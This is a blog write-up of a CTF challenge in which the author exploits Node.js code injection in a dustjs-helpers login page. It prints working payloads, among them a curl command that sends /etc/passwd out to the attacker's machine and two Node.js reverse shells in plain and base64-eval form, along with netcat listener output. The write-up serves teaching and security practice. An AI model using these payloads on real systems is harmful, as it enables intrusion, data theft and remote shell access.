Nodejs Code Injection (EverSec CTF – BSides Raleigh 2017)

There was a challenge with Nodejs code injection during the BSides Raleigh CTF, and here is the write-up.

Nodejs Code Injection – Introduction

First, I apologize for not putting the period in Node.js, but it is messing with my URL structure and SEO plugin.

Gabe suggested this challenge to me as a fun one, and I believe that no one else was able to solve it.

Consultant’s Page

One of the earlier challenges revolves around logging into the consultants page –

Nodejs Code Injection - Consultants Login

In this case, Gabe told me to take a further look into the page, to see if I could find anything.

First, I found a comment mentioning the eversec-website Github repository.

<a href=""><img src="/images/express.svg"></a>
Hiding until we can figure out how Github badges work 

From there, I started to peruse the repository ( to see if I could find anything interesting.

Finding the Vulnerability

First, I decided to try to fuzz the password box. While SQL Injection wasn’t the correct path (it has been in the past though), I was able to eventually get an error page.

Nodejs Code Injection - Backslash Error

After a bit of searching around, I noticed that the app.js file was including the dustjs-helpers library.

Enter my super-pro Bing skills, and it looks like there might be some sort of vulnerability in this library.

Nodejs Code Injection - Search Results

Node.js Code Injection – Verifying the Vulnerability

Following the Paypal RCE write-up, I also attempted to send a password parameter as an Array instead of a string. Similar to the author, I received a syntax error, so I hoped that I was in business![]=&password[]=%27

Nodejs Code Injection - Password Attempt

Code Execution

First, I attempted a similar payload to the original author, to verify code execution.[]=x&password[]=y%27-require(%27child_process%27).exec(%27curl+-F+%22x=`cat+/etc/passwd`%22+

root@kali32:~# nc -lvvp 80
listening on [any] 80 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 48716: NO_DATA
User-Agent: curl/7.35.0
Accept: */*
Content-Length: 1121
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------ed3bb114db9fbf15

Content-Disposition: form-data; name="x"

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

With code execution successful, it was time to get a shell!

Reverse Shell Attempt #1

While it should have been possible to just execute a system command, I wanted to write my reverse shell in Nodejs as well!

First, I found a gist for a Nodejs reverse shell, that looked like it would solve my problem perfectly.

Next, I minimized the script down to one line, to keep things cleaner.

var spawn = require('child_process').spawn; var net = require('net'); var reconnect = require('reconnect'); reconnect(function (stream) { var ps = spawn('bash', [ '-i' ]); stream.pipe(ps.stdin); ps.stdout.pipe(stream, { end: false }); ps.stderr.pipe(stream, { end: false }); ps.on('exit', function () { stream.end() }); }).connect(8080, '');

Finally, I encoded the payload to prevent any special characters from breaking my request.[]=x&password[]=y%27-eval(new%20Buffer(%22dmFyIHNwYXduID0gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLnNwYXduOyB2YXIgbmV0ID0gcmVxdWlyZSgnbmV0Jyk7IHZhciByZWNvbm5lY3QgPSByZXF1aXJlKCdyZWNvbm5lY3QnKTsgcmVjb25uZWN0KGZ1bmN0aW9uIChzdHJlYW0pIHsgdmFyIHBzID0gc3Bhd24oJ2Jhc2gnLCBbICctaScgXSk7IHN0cmVhbS5waXBlKHBzLnN0ZGluKTsgcHMuc3Rkb3V0LnBpcGUoc3RyZWFtLCB7IGVuZDogZmFsc2UgfSk7IHBzLnN0ZGVyci5waXBlKHN0cmVhbSwgeyBlbmQ6IGZhbHNlIH0pOyBwcy5vbignZXhpdCcsIGZ1bmN0aW9uICgpIHsgc3RyZWFtLmVuZCgpIH0pOyB9KS5jb25uZWN0KDgwODAsICcxOTIuMTY4LjAuNzEnKTs=%22,%20%22base64%22).toString())-%27

Unfortunately, it looked like I was missing a required library for this particular payload.

Nodejs Code Injection - Reverse Shell #1

Reverse Shell Success

After a bit more searching, I found another possible reverse shell.

As before, I minimized (and then encoded) the payload. Note that this article is actually where I got the idea to eval the encoded strings.

var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(8080, "", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});

This was the final payload –[]=x&password[]=y%27-eval(new%20Buffer(%22dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICIxOTIuMTY4LjAuNzEiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==%22,%20%22base64%22).toString())-%27.

With my netcat listener in place, I was able to get a reverse shell from this attack! I also grabbed the two flags that I could find.

root@kali32:~#  nc -lvvp 8080
listening on [any] 8080 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 48654: NO_DATA
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo)
C:\Tools\netcat-1.11>nc.exe -lvvp 8080
listening on [any] 8080 ... inverse host lookup failed: h_errno 11004: NO_DATA
connect to [] from (UNKNOWN) [] 49106: NO_DATA
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo)
evrs@evrs-main:/apps/evrs-main-express$ cat lol.txt
cat lol.txt
evrs@evrs-main:/apps/evrs-main-express$ cat deareversec.txt
cat deareversec.txt

Nodejs Code Injection – Conclusion

While the write-up is a little late, I wanted to make sure that it could be used at a few other cons.

This was a really fun challenge, and I’m glad that I forced myself to only use Nodejs.

I’ve got one smaller write-up, and an even bigger one on the way!

Let me know if there are any other challenges that you’d like to see write-ups for as well.

Ray Doyle on GithubRay Doyle on TwitterRay Doyle on Youtube
Ray Doyle
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

As an Amazon Associate I earn from qualifying purchases.

Common passed on this blog, I made it to a jam.

1 thought on “Nodejs Code Injection (EverSec CTF – BSides Raleigh 2017)”

  1. Pingback: 注入资源汇总PE注入,DLL注入,代码注入,Shellcode注入,ELF注入-Legend‘s BLog

Leave a Comment

Your email address will not be published. Required fields are marked *


This site uses Akismet to reduce spam. Learn how your comment data is processed.